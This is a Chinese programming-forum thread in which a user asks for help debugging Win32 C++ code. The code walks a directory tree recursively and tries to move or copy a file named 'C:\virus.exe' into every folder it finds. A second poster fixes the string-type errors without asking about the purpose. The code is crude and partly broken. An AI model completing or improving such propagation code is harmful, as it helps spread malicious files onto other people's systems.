老司机。。 发表于 2021-9-2 16:35:14

Windows API 编程实现遍历文件夹并将文件复制到遍历过的所有遍历过的文件夹中

这是源码
#include <windows.h>
#include <iostream>
#include <string>
#include <tchar.h>
using namespace std;


void FindFile(const std::string strPath)
{

        WIN32_FIND_DATAAfindData = { 0 };
        string strFindPath = strPath + "\\*.*";
        //查找第一个文件
        HANDLE hFindFine = FindFirstFileA(strFindPath.c_str(), &findData);
        if (INVALID_HANDLE_VALUE == hFindFine)
                printf("Error:%d", GetLastError());
        //循环递归查找文件
        do
        {
                //判断该文件是否为文件夹
                if (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                {
                        if (findData.cFileName == '.')
                                continue;
                        cout << "在" << strPath << "找到文件夹:\t" << findData.cFileName << endl;
                        string strNeedFindPaht = strPath + "\\" + findData.cFileName;
                        //若该文件是文件夹,则递归进行查找该文件夹下的文件
                        BOOL bMoveOK = MoveFile("C:\\virus.exe", strPath.c_str);    //移动文件函数可以改文件的格式和名字
                                if (bMoveOK)
                                        MessageBox(NULL, _T("移动成功!"), _T("Tip"), MB_OK);
                                else
                                        MessageBox(NULL, _T("移动失败!"), _T("Tip"), MB_OK);
                        FindFile(strNeedFindPaht);
                }
                else
                {
                        cout << "在" << strPath << "找到文件:\t" << findData.cFileName << endl;
                }
        } while (FindNextFileA(hFindFine, &findData));
        //关闭文件搜索句柄
        FindClose(hFindFine);
}


int _tmain(int argc, _TCHAR* argv[])
{
        //搜索D盘下Test文件夹下的所有文件
        string strFilePath = "C:\\Project";
        FindFile(strFilePath);
        return 0;
}

在标红的地方一直报错,有大佬能看出来什么问题吗

jhq999 发表于 2021-9-2 16:35:15

本帖最后由 jhq999 于 2021-9-2 20:39 编辑

老司机。。 发表于 2021-9-2 18:13
我是想在strPath再加一个“\\virus.exe”,因为movefile这个函数两个参数都是路径加文件名,但是只要一加上文件名就会报错.

string tmpstr=strPath+"\\virus.exe";
BOOL bMoveOK = MoveFile("C:\\virus.exe", tmpstr.c_str());


findData.cFileName 在VS6.0是不是TCHAR(宽字符),需要转换成窄字符,用wcstombs函数

jhq999 发表于 2021-9-2 18:00:15

本帖最后由 jhq999 于 2021-9-2 18:07 编辑

BOOL bMoveOK = MoveFile(_T("C:\\virus.exe"), (LPCWSTR)strPath.c_str()); \\试试这个,c_str是个函数,不是一个变量

jhq999 发表于 2021-9-2 18:08:17

BOOL bMoveOK = MoveFile(_T("C:\\virus.exe"), (LPCWSTR)strPath.c_str()); \\试试这个,c_str是个函数,不是一个变量

老司机。。 发表于 2021-9-2 18:13:15

jhq999 发表于 2021-9-2 18:08
BOOL bMoveOK = MoveFile(_T("C:\\virus.exe"), (LPCWSTR)strPath.c_str()); \\试试这个,c_str是个函数, ...

还是报错{:7_138:}
报错:error C2664: 'MoveFileA' : cannot convert parameter 2 from 'const unsigned short *' to 'const char *'
我是想在strPath再加一个“\\virus.exe”,因为movefile这个函数两个参数都是路径加文件名,但是只要一加上文件名就会报错{:7_138:}

jhq999 发表于 2021-9-2 18:26:33

本帖最后由 jhq999 于 2021-9-2 18:28 编辑

老司机。。 发表于 2021-9-2 18:13
还是报错
报错:error C2664: 'MoveFileA' : cannot convert parameter 2 from 'const unsigne ...

char *ch=(char*)strFilePath.data();//你加一个试试
         BOOL bMoveOK = MoveFile(_T("C:\\virus.exe"), (LPCWSTR)ch);

老司机。。 发表于 2021-9-2 18:38:28

jhq999 发表于 2021-9-2 18:26


还是报错{:7_138:}
char *ch=(char*)strPath.data();//你加一个试试
                        strcat(ch,"\\virus.exe");
         BOOL bMoveOK = MoveFile(_T("C:\\virus.exe"), (LPCWSTR)ch);
这样改的
还是报错
error C2664: 'MoveFileA' : cannot convert parameter 2 from 'const unsigned short *' to 'const char *'
{:7_119:}

jhq999 发表于 2021-9-2 18:45:39

老司机。。 发表于 2021-9-2 18:38
还是报错
char *ch=(char*)strPath.data();//你加一个试试
                        strcat(ch,"\\virus.exe");


我用的是VS2012,才看着MoveFileA,应该用MoveFileA(LPCSTR, LPCSTR);

jhq999 发表于 2021-9-2 18:49:03

cannot convert parameter 2 from 'const unsigned short *' to 'const char *'
不能转换参数2从常数无符号短整指针转换成常数字符指针,char *ch=(char*)strPath.data();已经强制转换成字符指针了

老司机。。 发表于 2021-9-2 18:49:50

jhq999 发表于 2021-9-2 18:45
我用的是VS2012,才看着MoveFileA,应该用MoveFileA(LPCSTR, LPCSTR);

什么意思呐,我还要改函数吗,我用的VC6

jhq999 发表于 2021-9-2 18:57:41

本帖最后由 jhq999 于 2021-9-2 19:33 编辑

老司机。。 发表于 2021-9-2 18:49
什么意思呐,我还要改函数吗,我用的VC6

vs2012 常规支持宽字符 所以MoveFile调用的是MoveFileW函数,而vs6正好相反调用的是MoveFileA,MoveFileW参数类型是LPCWSTR,MoveFileA参数类型是LPCSTR,我刚才没仔细看,所以强制转换是用了LPCWSTR,其实MoveFileA根本不用强制转换
页: [1]
查看完整版本: Windows API 编程实现遍历文件夹并将文件复制到遍历过的所有遍历过的文件夹中